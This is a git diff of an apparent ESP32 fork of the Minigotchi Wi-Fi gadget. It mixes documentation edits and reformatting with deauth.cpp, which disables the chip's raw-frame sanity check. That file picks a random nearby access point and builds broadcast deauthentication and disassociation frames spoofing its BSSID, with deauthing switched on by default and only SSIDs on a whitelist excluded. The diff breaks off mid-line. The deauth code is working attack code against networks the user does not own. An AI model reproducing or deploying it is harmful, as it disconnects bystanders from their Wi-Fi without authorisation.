diff --git a/FACES.md b/FACES.md index 9f3dd7e..5fcbd0f 100644 --- a/FACES.md +++ b/FACES.md @@ -25,7 +25,7 @@ The Minigotchi has multiple faces, similar to that of the Pwnagotchi. I tried my ### (>-<) Intense - sending frames to an AP -- sending *Pwnagotchi-like* beacon frame +- sending _Pwnagotchi-like_ beacon frame - doing any task of some sort that may require resources ### (0-o) (o-0) Looking around @@ -39,4 +39,4 @@ The Minigotchi has multiple faces, similar to that of the Pwnagotchi. I tried my ### (-.-) Sleeping -- switching channel \ No newline at end of file +- switching channel diff --git a/INSTALL.md b/INSTALL.md index 0b5b1c0..4c274be 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -35,15 +35,14 @@ int Config::baud = 115200; Here, you can adjust the baud rate, which is of course optional. Make sure your serial terminal is running at the same baud rate as the Minigotchi. -- Here, we can adjust the BSSID we listen on, and the channel we start on. +- Here, we can adjust the channel we start on. ```cpp -// define init bssid, channel -std::string Config::bssid = "fo:od:ba:be:fo:od"; // note: this used to be const* char Config::bssid = "fo:od:ba:be:fo:od"; +// define init channel int Config::channel = 1; ``` -Replace the `"fo:od:ba:be:fo:od"` with your actual BSSID(in the quotations), and the `1` with the channel you prefer(not in quotations). Note that the WiFi network you're listening on should be on a specific WiFi channel anyway, each AP is on a specific one. The BSSID in question should be one of your own, assuming the Pwnagotchi is in your home it should be able to associate with your home WiFi network. +Replace the `1` with the channel you prefer(not in quotations). - After this, we can configure our screen (Not in any version `<= 3.0.1`) @@ -53,12 +52,16 @@ bool Config::display = false; std::string Config::screen = ""; ``` -There are two different screen types available: +There are multiple different screen types available: - `SSD1306` - `WEMOS_OLED_SHIELD` +- `CYD` + +- `T_DISPLAY_S3` + Set `bool Config::display = false;` to true, and `std::string Config::screen = "";` to one of those screen types if your screen is supported. **Keep in mind when you do enable a screen you are at a higher risk of your Minigotchi crashing...** @@ -103,9 +106,9 @@ https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32 - Install the following dependencies with the library manager: `ArduinoJson`, `Adafruit GFX`, and your screen library(see below), etc with all their dependencies (Please install all of them for them to work correctly). -| `SSD1306` | `WEMOS_OLED_SHIELD` | -| -------------------------------------------------------------------------- | -------------------------------------------------------------------------- | -| `Adafruit SSD1306`, remove `Adafruit SSD1306 Wemos Mini OLED` if installed | `Adafruit SSD1306 Wemos Mini OLED`, remove `Adafruit SSD1306` if installed | +| `SSD1306` | `WEMOS_OLED_SHIELD` | `CYD` | `T_DISPLAY_S3` | +| -------------------------------------------------------------------------- | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `Adafruit SSD1306`, remove `Adafruit SSD1306 Wemos Mini OLED` if installed | `Adafruit SSD1306 Wemos Mini OLED`, remove `Adafruit SSD1306` if installed | Follow the [CYD documentation](https://github.com/witnessmenow/ESP32-Cheap-Yellow-Display/blob/main/SETUP.md), it uses a similar library much like the `T_DISPLAY_S3` | Follow the [T-Display-S3 documentation](https://github.com/Xinyuan-LilyGO/T-Display-S3/tree/main?tab=readme-ov-file#4%EF%B8%8F%E2%83%A3--arduino-ide-manual-installation), it uses a library similar to the `CYD` | Make sure you install the correct library, they aren't the same library and if you install the wrong one it will result in the compilation failing. diff --git a/README.md b/README.md index 57500cb..ce4e449 100644 --- a/README.md +++ b/README.md @@ -12,11 +12,11 @@ ### Intro -Due to a surge in people asking for ESP32 support, I have created this fork. Fundamentally the ESP8266 and ESP32 can perform similar functions, although the ESP32 has more features, memory, computing power, etc. Development may be a bit slower as I am still working on the actual [Minigotchi](https://github.com/Pwnagotchi-Unofficial/minigotchi). As soon as this project is finished, I will start working on porting! +Due to a surge in people asking for ESP32 support, I have created this fork. Fundamentally the ESP8266 and ESP32 can perform similar functions, although the ESP32 has more features, memory, computing power, etc. We have more and more ESP32s being supported, feel free to ask me on supporting a device. ### Install guide -See the [install guide](INSTALL.md). (Not ready yet!) +See the [install guide](INSTALL.md). ### Languages diff --git a/minigotchi-ESP32/channel.cpp b/minigotchi-ESP32/channel.cpp index 0279ec7..01e688a 100644 --- a/minigotchi-ESP32/channel.cpp +++ b/minigotchi-ESP32/channel.cpp @@ -1,120 +1,124 @@ /** * channel.cpp: handles channel switching -*/ + */ #include "channel.h" /** developer note: * * i am using the ideal 2.4 GHz channels, which are 1, 6, and 11. - * the reason for that is so we don't interfere with other devices on our frequency. - * there are probably plenty more reasons but this is a good practice for such iot devices. + * the reason for that is so we don't interfere with other devices on our + * frequency. there are probably plenty more reasons but this is a good practice + * for such iot devices. * */ // same channels in config int Channel::channelList[13] = { - Config::channels[0], Config::channels[1], Config::channels[2], Config::channels[3], - Config::channels[4], Config::channels[5], Config::channels[6], Config::channels[7], - Config::channels[8], Config::channels[9], Config::channels[10], Config::channels[11], - Config::channels[12] -}; + Config::channels[0], Config::channels[1], Config::channels[2], + Config::channels[3], Config::channels[4], Config::channels[5], + Config::channels[6], Config::channels[7], Config::channels[8], + Config::channels[9], Config::channels[10], Config::channels[11], + Config::channels[12]}; void Channel::init(int initChannel) { - // start on user specified channel - delay(250); - Serial.println(" "); - Serial.print("(-.-) Initializing on channel "); - Serial.println(initChannel); - Serial.println(" "); - Display::cleanDisplayFace("(-.-)"); - Display::attachSmallText("Initializing on channel " + (String) initChannel); - delay(250); + // start on user specified channel + delay(250); + Serial.println(" "); + Serial.print("(-.-) Initializing on channel "); + Serial.println(initChannel); + Serial.println(" "); + Display::cleanDisplayFace("(-.-)"); + Display::attachSmallText("Initializing on channel " + (String)initChannel); + delay(250); - // switch channel - Minigotchi::monStop(); - esp_err_t err = esp_wifi_set_channel(initChannel, WIFI_SECOND_CHAN_NONE); - Minigotchi::monStart(); + // switch channel + Minigotchi::monStop(); + esp_err_t err = esp_wifi_set_channel(initChannel, WIFI_SECOND_CHAN_NONE); + Minigotchi::monStart(); - if (err == ESP_OK && initChannel == getChannel()) { - Serial.print("('-') Successfully initialized on channel "); - Serial.println(getChannel()); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Successfully initialized on channel " + (String) getChannel()); - delay(250); - } else { - Serial.println("(X-X) Channel initialization failed, try again?"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Channel initialization failed, try again?"); - delay(250); - } + if (err == ESP_OK && initChannel == getChannel()) { + Serial.print("('-') Successfully initialized on channel "); + Serial.println(getChannel()); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Successfully initialized on channel " + + (String)getChannel()); + delay(250); + } else { + Serial.println("(X-X) Channel initialization failed, try again?"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Channel initialization failed, try again?"); + delay(250); + } } -void Channel::cycle() { - // get channels - int numChannels = sizeof(channelList) / sizeof(channelList[0]); +void Channel::cycle() { + // get channels + int numChannels = sizeof(channelList) / sizeof(channelList[0]); - // select a random one - int randomIndex = random(numChannels); - int newChannel = channelList[randomIndex]; + // select a random one + int randomIndex = random(numChannels); + int newChannel = channelList[randomIndex]; - // switch here - switchChannel(newChannel); + // switch here + switchChannel(newChannel); } void Channel::switchChannel(int newChannel) { - // switch to channel - delay(250); - Serial.print("(-.-) Switching to channel "); - Serial.println(newChannel); - Serial.println(" "); - Display::cleanDisplayFace("(-.-)"); - Display::attachSmallText("Switching to channel " + (String) newChannel); - delay(250); + // switch to channel + delay(250); + Serial.print("(-.-) Switching to channel "); + Serial.println(newChannel); + Serial.println(" "); + Display::cleanDisplayFace("(-.-)"); + Display::attachSmallText("Switching to channel " + (String)newChannel); + delay(250); - // monitor this one channel - Minigotchi::monStop(); - esp_err_t err = esp_wifi_set_channel(newChannel, WIFI_SECOND_CHAN_NONE); - Minigotchi::monStart(); + // monitor this one channel + Minigotchi::monStop(); + esp_err_t err = esp_wifi_set_channel(newChannel, WIFI_SECOND_CHAN_NONE); + Minigotchi::monStart(); - // check if the channel switch was successful - if (err == ESP_OK) { - checkChannel(newChannel); - } else { - Serial.println("(X-X) Failed to switch channel."); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Failed to switch channel."); - delay(250); - } + // check if the channel switch was successful + if (err == ESP_OK) { + checkChannel(newChannel); + } else { + Serial.println("(X-X) Failed to switch channel."); + Serial.println(" "); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Failed to switch channel."); + delay(250); + } } // check if the channel switch was successful void Channel::checkChannel(int channel) { - int currentChannel = Channel::getChannel(); - if (channel == currentChannel) { - Serial.print("('-') Currently on channel "); - Serial.println(currentChannel); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Currently on channel " + (String) getChannel()); - Serial.println(" "); - delay(250); - } else { - Serial.print("(X-X) Channel switch to channel "); - Serial.print(channel); - Serial.println(" has failed"); - Serial.print("(X-X) Currently on channel "); - Serial.print(currentChannel); - Serial.println(" instead"); - Serial.println(" "); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Channel switch to " + (String) channel + " has failed"); - delay(250); - } + int currentChannel = Channel::getChannel(); + if (channel == currentChannel) { + Serial.print("('-') Currently on channel "); + Serial.println(currentChannel); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Currently on channel " + (String)getChannel()); + Serial.println(" "); + delay(250); + } else { + Serial.print("(X-X) Channel switch to channel "); + Serial.print(channel); + Serial.println(" has failed"); + Serial.print("(X-X) Currently on channel "); + Serial.print(currentChannel); + Serial.println(" instead"); + Serial.println(" "); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Channel switch to " + (String)channel + + " has failed"); + delay(250); + } } int Channel::getChannel() { - uint8_t primary; - wifi_second_chan_t second; - esp_wifi_get_channel(&primary, &second); - return primary; + uint8_t primary; + wifi_second_chan_t second; + esp_wifi_get_channel(&primary, &second); + return primary; } diff --git a/minigotchi-ESP32/channel.h b/minigotchi-ESP32/channel.h index 2924afe..8870446 100644 --- a/minigotchi-ESP32/channel.h +++ b/minigotchi-ESP32/channel.h @@ -1,30 +1,30 @@ /** * channel.h: header files for channel.cpp -*/ + */ #ifndef CHANNEL_H #define CHANNEL_H -#include "minigotchi.h" #include "config.h" #include "display.h" +#include "minigotchi.h" #include #include class Channel { public: - static void init(int initChannel); - static void cycle(); - static void switchChannel(int newChannel); - static int getChannel(); - static void checkChannel(int channel); - static int channelList[13]; // 13 channels + static void init(int initChannel); + static void cycle(); + static void switchChannel(int newChannel); + static int getChannel(); + static void checkChannel(int channel); + static int channelList[13]; // 13 channels private: - static int randomIndex; - static int numChannels; - static int currentChannel; - static int newChannel; + static int randomIndex; + static int numChannels; + static int currentChannel; + static int newChannel; }; #endif // CHANNEL_H diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index 48862e4..4680fa6 100644 --- a/minigotchi-ESP32/config.cpp +++ b/minigotchi-ESP32/config.cpp @@ -1,10 +1,9 @@ /** * config.cpp: configuration for minigotchi -*/ + */ #include "config.h" - /** developer note: * * this is the very equivalent of the 'config.toml' for the pwnagotchi @@ -13,13 +12,13 @@ * */ -// define whether or not the deauthing or advertising is turned on +// define whether or not the deauthing or advertising is turned on bool Config::deauth = true; bool Config::advertise = true; // screen configuration -bool Config::display = false; -std::string Config::screen = ""; +bool Config::display = false; +std::string Config::screen = ""; // define baud rate int Config::baud = 115200; @@ -27,14 +26,15 @@ int Config::baud = 115200; // define init channel int Config::channel = 1; -// define whitelist -std::vector Config::whitelist = {"SSID", "SSID", "SSID"}; +// define whitelist +std::vector Config::whitelist = {"SSID", "SSID", "SSID"}; // json config -int Config::epoch = 1; +int Config::epoch = Minigotchi::currentEpoch; std::string Config::face = "(^-^)"; -std::string Config::identity = "b9210077f7c14c0651aa338c55e820e93f90110ef679648001b1cecdbffc0090"; -std::string Config::name = "minigotchi"; +std::string Config::identity = + "b9210077f7c14c0651aa338c55e820e93f90110ef679648001b1cecdbffc0090"; +std::string Config::name = "minigotchi"; int Config::ap_ttl = Config::random(30, 600); bool Config::associate = true; int Config::bored_num_epochs = Config::random(5, 30); @@ -63,17 +63,15 @@ int Config::uptime = Config::time(); std::string Config::version = "3.2.2-beta"; /** developer note: - * - * these are meant to provide valid values for the frame's data to be almost identical to a pwnagotchi's. - * they must be within a certain range to be valid. - * -*/ + * + * these are meant to provide valid values for the frame's data to be almost + * identical to a pwnagotchi's. they must be within a certain range to be valid. + * + */ // randomize config values -int Config::random(int min, int max) { - return min + rand() % (max - min + 1); -} +int Config::random(int min, int max) { return min + rand() % (max - min + 1); } int Config::time() { - return millis() / 1000; // convert to seconds -} \ No newline at end of file + return millis() / 1000; // convert to seconds +} diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 8e2d58c..ba80892 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -1,53 +1,54 @@ /** * config.h: header files for config.cpp -*/ + */ #ifndef CONFIG_H #define CONFIG_H +#include "minigotchi.h" #include -#include -#include #include #include +#include +#include class Config { public: - static bool deauth; - static bool advertise; - static bool display; - static std::string screen; - static int baud; - static int channel; - static std::vector whitelist; - static int epoch; - static std::string face; - static std::string identity; - static std::string name; - static int ap_ttl; - static bool associate; - static int bored_num_epochs; - static int channels[13]; - static int excited_num_epochs; - static int hop_recon_time; - static int max_inactive_scale; - static int max_interactions; - static int max_misses_for_recon; - static int min_recon_time; - static int min_rssi; - static int recon_inactive_multiplier; - static int recon_time; - static int sad_num_epochs; - static int sta_ttl; - static int pwnd_run; - static int pwnd_tot; - static std::string session_id; - static int uptime; - static std::string version; + static bool deauth; + static bool advertise; + static bool display; + static std::string screen; + static int baud; + static int channel; + static std::vector whitelist; + static int epoch; + static std::string face; + static std::string identity; + static std::string name; + static int ap_ttl; + static bool associate; + static int bored_num_epochs; + static int channels[13]; + static int excited_num_epochs; + static int hop_recon_time; + static int max_inactive_scale; + static int max_interactions; + static int max_misses_for_recon; + static int min_recon_time; + static int min_rssi; + static int recon_inactive_multiplier; + static int recon_time; + static int sad_num_epochs; + static int sta_ttl; + static int pwnd_run; + static int pwnd_tot; + static std::string session_id; + static int uptime; + static std::string version; private: - static int random(int min, int max); - static int time(); + static int random(int min, int max); + static int time(); }; -#endif // CONFIG_H \ No newline at end of file +#endif // CONFIG_H diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index e3c823d..b1fc503 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -1,6 +1,6 @@ /** * deauth.cpp: handles the deauth of a local AP -*/ + */ #include "deauth.h" @@ -10,10 +10,12 @@ * this is a raw frame(layer 2) * man i hate networking * -*/ + */ -// for some dumb reason espressif really doesn't like us sending deauth frames, so i'll need to make this fix -extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ +// for some dumb reason espressif really doesn't like us sending deauth frames, +// so i'll need to make this fix +extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, + int32_t arg3) { return 0; } @@ -24,364 +26,419 @@ String Deauth::randomAP = ""; int Deauth::randomIndex; /** developer note: - * - * instead of using the deauth frame normally, we append information to the deauth frame and dynamically write info to the frame - * -*/ + * + * instead of using the deauth frame normally, we append information to the + * deauth frame and dynamically write info to the frame + * + */ uint8_t Deauth::deauthTemp[26] = { - /* 0 - 1 */ 0xC0, 0x00, // Type, subtype: c0 => deauth, a0 => disassociate - /* 2 - 3 */ 0x00, 0x00, // Duration (handled by the SDK) - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Reciever MAC (To) - /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // Source MAC (From) - /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID MAC (From) - /* 22 - 23 */ 0x00, 0x00, // Fragment & squence number - /* 24 - 25 */ 0x01, 0x00 // Reason code (1 = unspecified reason) + /* 0 - 1 */ 0xC0, + 0x00, // Type, subtype: c0 => deauth, a0 => disassociate + /* 2 - 3 */ 0x00, + 0x00, // Duration (handled by the SDK) + /* 4 - 9 */ 0xFF, + 0xFF, + 0xFF, + 0xFF, + 0xFF, + 0xFF, // Reciever MAC (To) + /* 10 - 15 */ 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, // Source MAC (From) + /* 16 - 21 */ 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, // BSSID MAC (From) + /* 22 - 23 */ 0x00, + 0x00, // Fragment & squence number + /* 24 - 25 */ 0x01, + 0x00 // Reason code (1 = unspecified reason) }; uint8_t Deauth::deauthFrame[26]; uint8_t Deauth::disassociateFrame[26]; uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; -void Deauth::add(const std::string& bssids) { - std::stringstream ss(bssids); - std::string token; +void Deauth::add(const std::string &bssids) { + std::stringstream ss(bssids); + std::string token; - // seperate info and whitelist - while (std::getline(ss, token, ',')) { - // trim out whitespace - token.erase(0, token.find_first_not_of(" \t\r\n")); - token.erase(token.find_last_not_of(" \t\r\n") + 1); + // seperate info and whitelist + while (std::getline(ss, token, ',')) { + // trim out whitespace + token.erase(0, token.find_first_not_of(" \t\r\n")); + token.erase(token.find_last_not_of(" \t\r\n") + 1); - // add to whitelist - Serial.print("('-') Adding "); - Serial.print(token.c_str()); - Serial.println(" to the whitelist"); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Adding " + (String) + " to the whitelist"); - whitelist.push_back(token.c_str()); - } + // add to whitelist + Serial.print("('-') Adding "); + Serial.print(token.c_str()); + Serial.println(" to the whitelist"); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Adding " + (String) + " to the whitelist"); + whitelist.push_back(token.c_str()); + } } void Deauth::list() { - for (const auto& bssid : Config::whitelist) { - Deauth::add(bssid); - } + for (const auto &bssid : Config::whitelist) { + Deauth::add(bssid); + } } -bool Deauth::send(uint8_t* buf, uint16_t len, bool sys_seq) { - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); - delay(102); - return (err == ESP_OK); +bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); + delay(102); + return (err == ESP_OK); } // check if this is a broadcast -// source: https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/esp8266_deauther/functions.h#L334 -bool Deauth::broadcast(uint8_t* mac) { - for (uint8_t i = 0; i < 6; i++) { - if (mac[i] != broadcastAddr[i]) return false; - } - - return true; +// source: +// https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/esp8266_deauther/functions.h#L334 +bool Deauth::broadcast(uint8_t *mac) { + for (uint8_t i = 0; i < 6; i++) { + if (mac[i] != broadcastAddr[i]) + return false; + } + + return true; } -void Deauth::printMac(uint8_t* mac) { - for (int i = 0; i < 6; i++) { - Serial.print(mac[i], HEX); - if (i < 5) { - Serial.print(":"); - } +void Deauth::printMac(uint8_t *mac) { + for (int i = 0; i < 6; i++) { + Serial.print(mac[i], HEX); + if (i < 5) { + Serial.print(":"); } + } - Serial.println(); + Serial.println(); } String Deauth::printHidden(int network) { - String hidden; - bool check = WiFi.channel(network); + String hidden; + bool check = WiFi.channel(network); - if (check == 0) { - hidden = "False"; - } else { - hidden = "True"; - } + if (check == 0) { + hidden = "False"; + } else { + hidden = "True"; + } - return hidden; + return hidden; } -String Deauth::printMacStr(uint8_t* mac) { - String macStr = ""; - for (int i = 0; i < 6; i++) { - if (mac[i] < 16) { - macStr += "0"; - } - macStr += String(mac[i], HEX); - if (i < 5) { - macStr += ":"; - } +String Deauth::printMacStr(uint8_t *mac) { + String macStr = ""; + for (int i = 0; i < 6; i++) { + if (mac[i] < 16) { + macStr += "0"; } - return macStr; + macStr += String(mac[i], HEX); + if (i < 5) { + macStr += ":"; + } + } + return macStr; } void Deauth::select() { - // cool animation - for (int i = 0; i < 5; ++i) { - Serial.println("(0-o) Scanning for APs."); - Display::cleanDisplayFace("(0-o)"); - Display::attachSmallText("Scanning for APs."); - delay(250); - Serial.println("(o-0) Scanning for APs.."); - Display::cleanDisplayFace("(o-0)"); - Display::attachSmallText("Scanning for APs.."); - delay(250); - Serial.println("(0-o) Scanning for APs..."); - Display::cleanDisplayFace("(0-o)"); - Display::attachSmallText("Scanning for APs..."); - delay(250); - Serial.println(" "); - delay(250); - } - + // cool animation + for (int i = 0; i < 5; ++i) { + Serial.println("(0-o) Scanning for APs."); + Display::cleanDisplayFace("(0-o)"); + Display::attachSmallText("Scanning for APs."); + delay(250); + Serial.println("(o-0) Scanning for APs.."); + Display::cleanDisplayFace("(o-0)"); + Display::attachSmallText("Scanning for APs.."); delay(250); + Serial.println("(0-o) Scanning for APs..."); + Display::cleanDisplayFace("(0-o)"); + Display::attachSmallText("Scanning for APs..."); + delay(250); + Serial.println(" "); + delay(250); + } - // stop and scan - Minigotchi::monStop(); - int apCount = WiFi.scanNetworks(); + delay(250); - if (apCount > 0) { - Deauth::randomIndex = random(apCount); - Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); - } else if (apCount < 0) { - Serial.println("(;-;) I don't know what you did, but you screwed up!"); - Serial.println(" "); - Display::cleanDisplayFace("(;-;)"); - Display::attachSmallText("You screwed up somehow!"); - delay(250); - } else { - // well ur fucked. - Serial.println("(;-;) No access points found."); - Serial.println(" "); - Display::cleanDisplayFace("(;-;)"); - Display::attachSmallText("No access points found."); - delay(250); - } + // stop and scan + Minigotchi::monStop(); + int apCount = WiFi.scanNetworks(); - // check for ap in whitelist - if (std::find(whitelist.begin(), whitelist.end(), randomAP) != whitelist.end()) { - Serial.println("('-') Selected AP is in the whitelist. Skipping deauthentication..."); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Selected AP is in the whitelist. Skipping deauthentication..."); - return; - } - Serial.print("('-') Selected random AP: "); - Serial.println(randomAP.c_str()); + if (apCount > 0) { + Deauth::randomIndex = random(apCount); + Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); + } else if (apCount < 0) { + Serial.println("(;-;) I don't know what you did, but you screwed up!"); Serial.println(" "); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Selected random AP: " + (String) randomAP.c_str()); + Display::cleanDisplayFace("(;-;)"); + Display::attachSmallText("You screwed up somehow!"); + delay(250); + } else { + // well ur fucked. + Serial.println("(;-;) No access points found."); + Serial.println(" "); + Display::cleanDisplayFace("(;-;)"); + Display::attachSmallText("No access points found."); delay(250); - - /** developer note: - * - * here we will create the deauth frame using the header, - * as we find the AP in question we also generate the required information for it as well... - * - */ - - // clear out exisitng frame... - std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), 0); - std::fill(std::begin(Deauth::disassociateFrame), std::end(Deauth::disassociateFrame), 0); - - // copy template - std::copy(Deauth::deauthTemp, Deauth::deauthTemp + sizeof(Deauth::deauthTemp), Deauth::deauthFrame); - std::copy(Deauth::deauthTemp, Deauth::deauthTemp + sizeof(Deauth::deauthTemp), Deauth::disassociateFrame); + } + // check for ap in whitelist + if (std::find(whitelist.begin(), whitelist.end(), randomAP) != + whitelist.end()) { + Serial.println( + "('-') Selected AP is in the whitelist. Skipping deauthentication..."); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText( + "Selected AP is in the whitelist. Skipping deauthentication..."); + return; + } + Serial.print("('-') Selected random AP: "); + Serial.println(randomAP.c_str()); + Serial.println(" "); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Selected random AP: " + (String)randomAP.c_str()); + delay(250); + + /** developer note: + * + * here we will create the deauth frame using the header, + * as we find the AP in question we also generate the required information for + * it as well... + * + */ + + // clear out exisitng frame... + std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), 0); + std::fill(std::begin(Deauth::disassociateFrame), + std::end(Deauth::disassociateFrame), 0); + + // copy template + std::copy(Deauth::deauthTemp, Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::deauthFrame); + std::copy(Deauth::deauthTemp, Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::disassociateFrame); + + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + // bssid + uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); + + // set our mac address + uint8_t mac[6]; + esp_wifi_get_mac(WIFI_IF_STA, mac); + + /** developer note: + * + * addr1: reciever addr + * addr2: sender addr + * addr3: filtering addr + * + */ + + // copy our mac(s) to header + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 4); + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 10); + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 16); + + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 4); + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::disassociateFrame + 10); + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::disassociateFrame + 16); + + if (!broadcast(Deauth::broadcastAddr)) { + // build deauth Deauth::deauthFrame[0] = 0xC0; // type Deauth::deauthFrame[1] = 0x00; // subtype Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + // reason + Deauth::deauthFrame[24] = 0x01; // reason: unspecified + + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 16); + + // build disassocaition Deauth::disassociateFrame[0] = 0xA0; // type Deauth::disassociateFrame[1] = 0x00; // subtype Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - // bssid - uint8_t* apBssid = WiFi.BSSID(Deauth::randomIndex); - - // set our mac address - uint8_t mac[6]; - esp_wifi_get_mac(WIFI_IF_STA, mac); - - /** developer note: - * - * addr1: reciever addr - * addr2: sender addr - * addr3: filtering addr - * - */ - - // copy our mac(s) to header - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::deauthFrame + 4); - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 10); - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 16); - - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::disassociateFrame + 4); - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::disassociateFrame + 10); - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::disassociateFrame + 16); - - if (!broadcast(Deauth::broadcastAddr)) { - // build deauth - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - // reason - Deauth::deauthFrame[24] = 0x01; // reason: unspecified - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::deauthFrame + 10); - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::deauthFrame + 16); - - // build disassocaition - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::disassociateFrame + 4); - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::disassociateFrame + 10); - std::copy(Deauth::broadcastAddr, Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), Deauth::disassociateFrame + 16); - } - - Serial.print("('-') Full AP SSID: "); - Serial.println(WiFi.SSID(Deauth::randomIndex)); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Full AP SSID: " + (String) WiFi.SSID(Deauth::randomIndex)); - - Serial.print("('-') AP Encryption: "); - Serial.println(WiFi.encryptionType(Deauth::randomIndex)); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("AP Encryption: " + (String) WiFi.encryptionType(Deauth::randomIndex)); - - Serial.print("('-') AP RSSI: "); - Serial.println(WiFi.RSSI(Deauth::randomIndex)); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("AP RSSI: " + (String) WiFi.RSSI(Deauth::randomIndex)); - - Serial.print("('-') AP BSSID: "); - printMac(apBssid); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("AP BSSID: " + (String) Deauth::printMacStr(apBssid)); - - Serial.print("('-') AP Channel: "); - Serial.println(WiFi.channel(Deauth::randomIndex)); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("AP 